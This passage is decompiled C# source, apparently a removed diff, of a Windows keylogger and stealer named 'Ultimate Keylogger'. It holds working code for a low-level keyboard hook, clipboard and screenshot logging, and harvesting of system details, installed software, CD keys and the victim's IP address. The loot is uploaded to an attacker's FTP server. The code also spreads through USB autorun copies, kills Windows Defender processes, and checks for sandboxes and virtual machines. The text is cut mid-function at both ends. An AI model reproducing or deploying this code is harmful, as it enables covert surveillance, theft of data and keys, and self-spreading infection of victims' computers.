this.ftp_increment + " On " + MyProject.Computer.Name + " 's ComputerAt" + this.datenow + ".txt", true); - streamWriter.Write(" Ultimate Keylogger " + MyProject.Computer.Name + " 's Computer At " + this.datenow + this.nl + str1 + this.nl + str2 + this.nl + this.nl + "ComputerInformation" + this.nl + this.nl + this.TextBox16.Text + this.nl + this.nl + "Installed" + this.nl + this.nl + this.TextBox11.Text + this.nl + this.nl + "+------ logs -------+ " + this.nl + this.nl + this.TextBox1.Text + this.nl + this.nl + "ClipBoard Logs" + this.nl + this.clip + this.nl + this.nl + this.TextBox12.Text + this.nl + this.nl + "Cd Keys" + this.nl + this.nl + this.TextBox9.Text); - streamWriter.Close(); - this.TextBox1.Clear(); - string text1 = this.TextBox2.Text; - string text2 = this.TextBox3.Text; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create("ftp://" + this.TextBox4.Text + "/" + this.Label3.Text + "/Ultimate Keylogger " + MyProject.Computer.Name + " 's Computer " + this.datenow + " Log " + this.ftp_increment + ".txt"); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(text1, text2); - ftpWebRequest.Method = "STOR"; - byte[] buffer = System.IO.File.ReadAllBytes(this.ftp_upload_NewxFuck); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - this.TextBox1.Clear(); - this.ftp_increment = Conversions.ToString(Conversions.ToDouble(this.ftp_increment) + 1.0); - } - - public void screen1() - { - this.Label37.Text = "screeshot " + this.Label35.Text; - this.Label36.Text = this.dpath + "\\ScreenShot " + this.Label35.Text + " On " + MyProject.Computer.Name + " 's Computer " + this.datenow + ".jpeg"; - Size blockRegionSize = new Size(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Bitmap bitmap = new Bitmap(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Graphics.FromImage((Image) bitmap).CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize); - bitmap.Save(this.Label36.Text); - this.Label40.Text = this.Label36.Text; - Thread.Sleep(1000); - this.Label37.Text = "_______________Uploadding image"; - string text1 = this.TextBox2.Text; - string text2 = this.TextBox3.Text; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create("ftp://" + this.TextBox4.Text + "/" + this.Label3.Text + "/Screenlogger On " + MyProject.Computer.Name + "At" + this.datenow + "Screenshot " + this.Label35.Text + " .jpeg"); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(text1, text2); - ftpWebRequest.Method = "STOR"; - byte[] buffer = System.IO.File.ReadAllBytes(this.Label36.Text); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - Label label35 = this.Label35; - label35.Text = Conversions.ToString(Conversions.ToDouble(label35.Text) + 1.0); - this.del2(); - } - - public void del2() - { - if (!System.IO.File.Exists(this.Label36.Text)) - return; - System.IO.File.Delete(this.Label36.Text); - } - - public void del_Cdtot() - { - if (!System.IO.File.Exists(this.dpath + "\\cdkeys.txt")) - return; - System.IO.File.Delete(this.dpath + "\\cdkeys.txt"); - } - - public void cd_keytxt_Create() - { - this.del_Cdtot(); - StreamWriter streamWriter = new StreamWriter(this.dpath + "\\cdkeys.txt", true); - streamWriter.Write(FuckTheKey.fuckkeys()); - streamWriter.Close(); - } - - private void Timer2_Tick(object sender, EventArgs e) - { - if (Operators.CompareString(this.clip, MyProject.Computer.Clipboard.GetText(), false) == 0) - return; - if (Conversions.ToDouble(this.lblNumb.Text) != 0.0) - { - this.lblNumb.Text = Conversions.ToString(Conversions.ToDouble(this.lblNumb.Text) + 1.0); - this.TextBox17.Text = this.TextBox17.Text + "\r\n\r\nLog " + this.lblNumb.Text + " - " + MyProject.Computer.Clipboard.GetText(); - this.clip = MyProject.Computer.Clipboard.GetText(); - } - else - { - this.lblNumb.Text = Conversions.ToString(Conversions.ToDouble(this.lblNumb.Text) + 1.0); - this.TextBox17.Text = this.TextBox17.Text + "Log " + this.lblNumb.Text + " - " + MyProject.Computer.Clipboard.GetText(); - this.clip = MyProject.Computer.Clipboard.GetText(); - } - } - - private void Timer3_Tick(object sender, EventArgs e) - { - this.Label41.Text = "Timer 3 :-----------Started"; - if (Operators.CompareString(this.Label19.Text, "screenlogger-no", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-no", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-no", false) == 0) - { - try - { - this.Label41.Text = "Timer 3 :----------Logs"; - this.totalfuckshit = "Stealers Not Selected"; - this.clip = ""; - this.logs(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Label41.Text = "Timer 3 :----------Logs"; - this.totalfuckshit = ""; - this.clip = ""; - this.logs(); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(this.Label19.Text, "screenlogger-no", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-no", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0) - { - try - { - this.Label41.Text = "Timer 3 :-----------Logs+Stealers"; - this.clip = ""; - this.clipboarlogs(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Label41.Text = "Timer 3 :-----------Logs+Stealers"; - this.clip = " "; - this.clipboarlogs(); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(this.Label19.Text, "screenlogger-no", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-Ys", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0) - { - try - { - this.Label41.Text = "Timer 3 :-----------clip+stealers"; - this.clipboarlogs(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Label41.Text = "Timer 3 :-----------clip+stealers"; - this.clipboarlogs(); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(this.Label19.Text, "screenlogger-Ys", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-Ys", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0) - { - try - { - this.Label41.Text = "+--------Screen_Ys + Cli_Ys+_Steera_Ys"; - this.logscrennclip(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Label41.Text = "+--------Screen_Ys + Cli_Ys+_Steera_Ys"; - this.logscrennclip(); - ProjectData.ClearProjectError(); - } - } - if (!(Operators.CompareString(this.Label19.Text, "screenlogger-Ys", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-no", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0)) - return; - try - { - this.Label41.Text = "+--------Screen_Ys + Cli_No+_Steera_Ys"; - this.clip = ""; - this.logscrennclip(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Label41.Text = "+--------Screen_Ys + Cli_No+_Steera_Ys"; - this.clip = ""; - this.logscrennclip(); - ProjectData.ClearProjectError(); - } - } - - private virtual ManagementEventWatcher m_MediaConnectWatcher - { - get => this._m_MediaConnectWatcher; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventArrivedEventHandler arrivedEventHandler = new EventArrivedEventHandler(this.Arrived); - if (this._m_MediaConnectWatcher != null) - this._m_MediaConnectWatcher.EventArrived -= arrivedEventHandler; - this._m_MediaConnectWatcher = value; - if (this._m_MediaConnectWatcher == null) - return; - this._m_MediaConnectWatcher.EventArrived += arrivedEventHandler; - } - } - - public void StartDetection() - { - this.m_MediaConnectWatcher = new ManagementEventWatcher("SELECT * FROM __InstanceOperationEvent WITHIN 10 WHERE TargetInstance ISA \"Win32_DiskDrive\""); - this.m_MediaConnectWatcher.Start(); - } - - private void Arrived(object sender, EventArrivedEventArgs e) - { - ManagementBaseObject newEvent = e.NewEvent; - ManagementBaseObject managementBaseObject = (ManagementBaseObject) newEvent["TargetInstance"]; - if (Operators.CompareString(newEvent.ClassPath.ClassName, "__InstanceCreationEvent", false) != 0) - return; - if (Operators.ConditionalCompareObjectEqual(managementBaseObject["InterfaceType"], (object) "USB", false)) - { - this.details = this.GetDriveLetterFromDisk(Conversions.ToString(managementBaseObject["Name"])); - try - { - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, this.details + "Sys.exe"); - FileSystem.FileOpen(1, this.details + "autorun.inf", OpenMode.Binary); - FileSystem.FilePut(1, "[autorun]\r\nshellexecute=sys.exe", -1L, false); - FileSystem.FileClose(1); - MyProject.Computer.FileSystem.GetFileInfo(this.details + "Sys.exe").Attributes = FileAttributes.Hidden | FileAttributes.System; - MyProject.Computer.FileSystem.GetFileInfo(this.details + "autorun.inf").Attributes = FileAttributes.Hidden | FileAttributes.System; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - { - int num = (int) Interaction.MsgBox(RuntimeHelpers.GetObjectValue(managementBaseObject["InterfaceType"])); - } - } - - private string GetDriveLetterFromDisk(string Name) - { - Name = Microsoft.VisualBasic.Strings.Replace(Name, "\\", "\\\\"); - ManagementObjectSearcher managementObjectSearcher1 = new ManagementObjectSearcher(new ObjectQuery("ASSOCIATORS OF {Win32_DiskDrive.DeviceID=\"" + Name + "\"} WHERE AssocClass = Win32_DiskDriveToDiskPartition")); - try - { - foreach (ManagementBaseObject managementBaseObject1 in managementObjectSearcher1.Get()) - { - ManagementObjectSearcher managementObjectSearcher2 = new ManagementObjectSearcher(new ObjectQuery(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ASSOCIATORS OF {Win32_DiskPartition.DeviceID=\"", managementBaseObject1["DeviceID"]), (object) "\"} WHERE AssocClass = Win32_LogicalDiskToPartition")))); - try - { - foreach (ManagementBaseObject managementBaseObject2 in managementObjectSearcher2.Get()) - this.ans = Conversions.ToString(Operators.ConcatenateObject((object) this.ans, Operators.ConcatenateObject(managementBaseObject2[nameof (Name)], (object) ","))); - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - } - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - return this.ans.Trim(','); - } - - public void cp_information() - { -label_0: - int num1; - int num2; - try - { - int num3 = 1; - this.m_LM = Registry.LocalMachine; -label_1: - num3 = 2; - this.m_HW = this.m_LM.OpenSubKey("HARDWARE"); -label_2: - num3 = 3; - this.m_Des = this.m_HW.OpenSubKey("DESCRIPTION"); -label_3: - num3 = 4; - this.m_System = this.m_Des.OpenSubKey("SYSTEM"); -label_4: - num3 = 5; - this.m_CPU = this.m_System.OpenSubKey("CentralProcessor"); -label_5: - num3 = 6; - this.m_Info = this.m_CPU.OpenSubKey("0"); -label_6: - ProjectData.ClearProjectError(); - num1 = 1; -label_7: - num3 = 8; - this.manufactor(); -label_8: - ProjectData.ClearProjectError(); - num1 = 1; -label_9: - num3 = 10; - this.mo_board(); -label_10: - ProjectData.ClearProjectError(); - num1 = 1; -label_11: - num3 = 12; - this.getip(); -label_12: - ProjectData.ClearProjectError(); - num1 = 1; -label_13: - num3 = 14; - this.callx(); -label_14: - num3 = 15; - this.total_Fuck_CpInformtion = "Computer Name : " + MyProject.Computer.Name; -label_15: - num3 = 16; - this.total_Fuck_CpInformtion = this.total_Fuck_CpInformtion + Environment.NewLine + "Computer Os : " + MyProject.Computer.Info.OSFullName.ToString(); -label_16: - num3 = 17; - this.total_Fuck_CpInformtion = this.total_Fuck_CpInformtion + Environment.NewLine + ".Net Run Time : " + Environment.Version.ToString(); -label_17: - num3 = 18; - this.total_Fuck_CpInformtion = this.total_Fuck_CpInformtion + Environment.NewLine + "Os Manufacturer : " + this.os_manu; -label_18: - num3 = 19; - this.total_Fuck_CpInformtion = this.total_Fuck_CpInformtion + Environment.NewLine + "Total Physical Memory : " + Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory); -label_19: - num3 = 20; - this.total_Fuck_CpInformtion = this.total_Fuck_CpInformtion + Environment.NewLine + "Mother Board ManFactor : " + this.motherbo_name; -label_20: - num3 = 21; - this.total_Fuck_CpInformtion = this.total_Fuck_CpInformtion + Environment.NewLine + "Mother Board Serial Key : " + this.motherbo_serial; -label_21: - num3 = 22; - this.total_Fuck_CpInformtion = Conversions.ToString(Operators.ConcatenateObject((object) (this.total_Fuck_CpInformtion + Environment.NewLine + "Computer Processor : "), this.m_Info.GetValue("VendorIdentifier"))); -label_22: - num3 = 23; - this.total_Fuck_CpInformtion = Conversions.ToString(Operators.ConcatenateObject((object) (this.total_Fuck_CpInformtion + Environment.NewLine + " "), this.m_Info.GetValue("ProcessorNameString"))); -label_23: - num3 = 24; - this.total_Fuck_CpInformtion = this.total_Fuck_CpInformtion + Environment.NewLine + "Victims IP Address : " + this.Cp_ip; -label_24: - ProjectData.ClearProjectError(); - num1 = 1; -label_25: - num3 = 26; - this.TextBox15.Text = this.total_Fuck_CpInformtion; -label_26: - num3 = 27; - this.TextBox16.Text = this.TextBox15.Text + this.nl + this.TextBox14.Text; -label_27: - num3 = 28; - this.Installed_Soft(); - goto label_34; -label_29: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_22; - case 24: - goto label_23; - case 25: - goto label_24; - case 26: - goto label_25; - case 27: - goto label_26; - case 28: - goto label_27; - case 29: - goto label_34; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_29; - } - throw ProjectData.CreateProjectError(-2146828237); -label_34: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void Installed_Soft() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", false); -label_2: - num3 = 3; - string[] subKeyNames = registryKey1.GetSubKeyNames(); - int index = 0; - goto label_11; -label_4: - num3 = 4; - string str1; - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" + str1, false); -label_5: - num3 = 5; - if (!((IEnumerable) registryKey2.GetValueNames()).Contains("DisplayName")) - goto label_9; -label_6: - num3 = 6; - string str2 = Conversions.ToString(registryKey2.GetValue("DisplayName")); -label_7: - num3 = 7; - if (this.ListBox1.Items.Contains((object) str2)) - goto label_9; -label_8: - num3 = 8; - this.ListBox1.Items.Add((object) str2); -label_9: - checked { ++index; } -label_10: - num3 = 11; -label_11: - if (index < subKeyNames.Length) - { - str1 = subKeyNames[index]; - goto label_4; - } -label_12: - num3 = 12; - IEnumerator enumerator = this.ListBox1.Items.GetEnumerator(); - goto label_16; -label_14: - num3 = 13; - TextBox textBox11 = this.TextBox11; - string str3; - textBox11.Text = textBox11.Text + Environment.NewLine + str3; -label_15: - num3 = 14; -label_16: - if (enumerator.MoveNext()) - { - str3 = Conversions.ToString(enumerator.Current); - goto label_14; - } - else if (enumerator is IDisposable) - { - (enumerator as IDisposable).Dispose(); - goto label_25; - } - else - goto label_25; -label_20: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_4; - case 5: - goto label_5; - case 6: - goto label_6; - case 7: - goto label_7; - case 8: - goto label_8; - case 9: - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_12; - case 13: - goto label_14; - case 14: - goto label_15; - case 15: - goto label_25; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_20; - } - throw ProjectData.CreateProjectError(-2146828237); -label_25: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void mo_board() - { - ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_BaseBoard"); - try - { - foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) - { - this.motherbo_name = managementBaseObject["Manufacturer"].ToString(); - this.motherbo_product = managementBaseObject["Product"].ToString(); - this.motherbo_serial = managementBaseObject["SerialNumber"].ToString(); - } - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - } - - public void manufactor() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem"); -label_2: - num3 = 3; - ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator(); - goto label_6; -label_4: - num3 = 4; - ManagementObject current; - this.os_manu = current["Manufacturer"].ToString(); -label_5: - num3 = 5; -label_6: - if (enumerator.MoveNext()) - { - current = (ManagementObject) enumerator.Current; - goto label_4; - } - else if (enumerator != null) - { - enumerator.Dispose(); - goto label_15; - } - else - goto label_15; -label_10: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_4; - case 5: - goto label_5; - case 6: - goto label_15; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_10; - } - throw ProjectData.CreateProjectError(-2146828237); -label_15: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void getip() - { - using (WebClient webClient = new WebClient()) - { - try - { - this.Cp_ip = webClient.DownloadString("http://whatismyip.com/automation/n09230945.asp"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - private void Timer5_Tick(object sender, EventArgs e) - { - if (Operators.CompareString(this.Label19.Text, "screenlogger-no", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-no", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-no", false) == 0) - { - try - { - this.clip = "+-------- You Dont Select ClipBoard Logger "; - this.totalfuckshit = "+-------- You Dont Select Stealers ------------ + "; - this.Fpt_Fuck_AllInOne_Upload(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.clip = "+-------- You Dont Select ClipBoard Logger "; - this.totalfuckshit = "+-------- You Dont Select Stealers ------------ + "; - this.Fpt_Fuck_AllInOne_Upload(); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(this.Label19.Text, "screenlogger-no", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-no", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0) - { - try - { - this.clip = "+-------- You Dont Select ClipBoard Logger "; - this.Fpt_Fuck_AllInOne_Upload(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.clip = "+-------- You Dont Select ClipBoard Logger "; - this.Fpt_Fuck_AllInOne_Upload(); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(this.Label19.Text, "screenlogger-no", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-Ys", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0) - { - try - { - this.Fpt_Fuck_AllInOne_Upload(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Fpt_Fuck_AllInOne_Upload(); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(this.Label19.Text, "screenlogger-Ys", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-Ys", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0) - { - try - { - this.Fpt_Fuck_AllInOne_Upload(); - this.screen1(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Fpt_Fuck_AllInOne_Upload(); - this.screen1(); - ProjectData.ClearProjectError(); - } - } - if (!(Operators.CompareString(this.Label19.Text, "screenlogger-Ys", false) == 0 & Operators.CompareString(this.Label30.Text, "clipboardlogger-no", false) == 0 & Operators.CompareString(this.Label20.Text, "stealers-Ys", false) == 0)) - return; - try - { - this.clip = "+-------- You Dont Select ClipBoard Logger "; - this.Fpt_Fuck_AllInOne_Upload(); - this.screen1(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.clip = "+-------- You Dont Select ClipBoard Logger "; - this.Fpt_Fuck_AllInOne_Upload(); - this.screen1(); - ProjectData.ClearProjectError(); - } - } - - public static string RC4(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Microsoft.VisualBasic.Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Microsoft.VisualBasic.Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Microsoft.VisualBasic.Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - public void antisandboxie() - { - if (!this.Text.Contains("#")) - return; - ProjectData.EndApp(); - } - - private void Timer4_Tick(object sender, EventArgs e) - { - } - - private void Timer7_Tick(object sender, EventArgs e) - { - } - - public void callx() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - XPathDocument xpathDocument = new XPathDocument("http://ip-address.domaintools.com/myip.xml"); -label_2: - num3 = 3; - XPathNavigator navigator = xpathDocument.CreateNavigator(); -label_3: - num3 = 4; - XPathExpression expr = navigator.Compile("//ip_address"); -label_4: - num3 = 5; - XPathNodeIterator xpathNodeIterator = navigator.Select(expr); -label_5: - num3 = 6; - xpathNodeIterator = navigator.Select("//country"); - goto label_7; -label_6: - num3 = 9; - this.TextBox14.Text = this.TextBox14.Text + "Country : " + xpathNodeIterator.Current.Value + this.nl; -label_7: - num3 = 8; - if (xpathNodeIterator.MoveNext()) - goto label_6; -label_8: - num3 = 11; - xpathNodeIterator = navigator.Select("//region"); - goto label_10; -label_9: - num3 = 14; - this.TextBox14.Text = this.TextBox14.Text + "Region : " + xpathNodeIterator.Current.Value + this.nl; -label_10: - num3 = 13; - if (xpathNodeIterator.MoveNext()) - goto label_9; -label_11: - num3 = 16; - xpathNodeIterator = navigator.Select("//isp"); - goto label_13; -label_12: - num3 = 19; - this.TextBox14.Text = this.TextBox14.Text + "Isp : " + xpathNodeIterator.Current.Value + this.nl; -label_13: - num3 = 18; - if (xpathNodeIterator.MoveNext()) - goto label_12; -label_14: - num3 = 21; - xpathNodeIterator = navigator.Select("//city"); - goto label_16; -label_15: - num3 = 24; - this.TextBox14.Text = this.TextBox14.Text + "City : " + xpathNodeIterator.Current.Value + this.nl; -label_16: - num3 = 23; - if (xpathNodeIterator.MoveNext()) - goto label_15; - else - goto label_23; -label_18: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - case 8: - case 10: - goto label_7; - case 9: - goto label_6; - case 11: - goto label_8; - case 12: - case 13: - case 15: - goto label_10; - case 14: - goto label_9; - case 16: - goto label_11; - case 17: - case 18: - case 20: - goto label_13; - case 19: - goto label_12; - case 21: - goto label_14; - case 22: - case 23: - case 25: - goto label_16; - case 24: - goto label_15; - case 26: - goto label_23; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_18; - } - throw ProjectData.CreateProjectError(-2146828237); -label_23: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer6_Tick(object sender, EventArgs e) - { - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - - public class ant - { - [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - public static void mofo() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Form1.ant.seekit("MSASCui"); -label_2: - num3 = 3; - Form1.ant.seekit("msmpeng"); -label_3: - num3 = 4; - Form1.ant.antiSandboxie(); -label_4: - num3 = 5; - Form1.ant.IsVmWare(); -label_5: - num3 = 6; - Form1.ant.AntiThreatExpert(); -label_6: - num3 = 7; - Form1.ant.checkUsername(); -label_7: - num3 = 8; - Form1.ant.checkComputername(); - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void seekit(string gay1) - { - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.ProcessName.Contains(gay1)) - { - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - checked { ++index; } - } - } - - private static void checkUsername() - { -label_0: - int num1; - int num2; - try - { - 